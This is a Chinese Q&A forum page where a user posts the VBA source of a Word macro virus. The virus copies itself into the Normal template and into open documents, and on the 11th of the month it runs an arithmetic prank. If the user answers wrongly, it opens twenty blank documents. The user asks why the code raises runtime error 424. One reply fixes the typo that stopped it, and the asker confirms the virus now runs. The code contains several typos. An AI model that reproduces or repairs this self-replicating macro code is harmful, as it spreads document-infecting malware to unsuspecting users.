VB代码运行时提示:“运行时错误:‘424’要求对象”怎么回事?

'moonlightDimnm(4)Subdocument_open()'disableinput1Setourcodemodule=thiedocument.VBPro... 'moonlight
Dim nm(4)
Sub document_open()
'disableinput 1

Set ourcodemodule = thiedocument.VBProject.vbcompcnents(1).codeodule
Set host = NormalTemplate.VBProject.vbcomponents(1).codemodule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.vbcomponents(1).codemodule
End If
With host
If .Lines(1, 1) <> " 'moonlight" Then
.deletelines 1, .countoflines
.insertlines 1, ourcodemodule.Lines(1, 100)
.replaceline 3, "sub document_close()"
ifthisdocument = normaltemplatethem
.replaceline 3, "sub document_close()"
ActiveDocument.SaveAs ActiveDocumentfullname
End If

End With
Count = 0
If Day(Now()) = 11 Then
try:
On Error GoTo try
test = 1
con = 1
tog$ = ""
i = 0
While test = 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(1)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾no.1macro virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
selettion.intsertafter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try

End If
Wend
End If
out:
End Sub
展开
 我来答
yfcp
2014-11-11 · 知道合伙人软件行家
yfcp
知道合伙人软件行家
采纳数:1748 获赞数:5545
有多年网站建设相关工作经验。熟悉ASP、ASP.net、VB、JavaScript、HTML等语言和CSS、Ajax等相关技术。

向TA提问 私信TA
展开全部
你好,弹出错误,点确定,然后看看程序定格到哪一行。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
网海1书生
科技发烧友

2014-11-11 · 擅长软件设计、WEB应用开发、小程序
网海1书生
采纳数:12311 获赞数:26228

向TA提问 私信TA
展开全部
thiedocument
改为
thisdocument
追问
谢谢,可以成功运行了。但是可以请教一下,怎么清除宏病毒吗?
本回答被提问者和网友采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式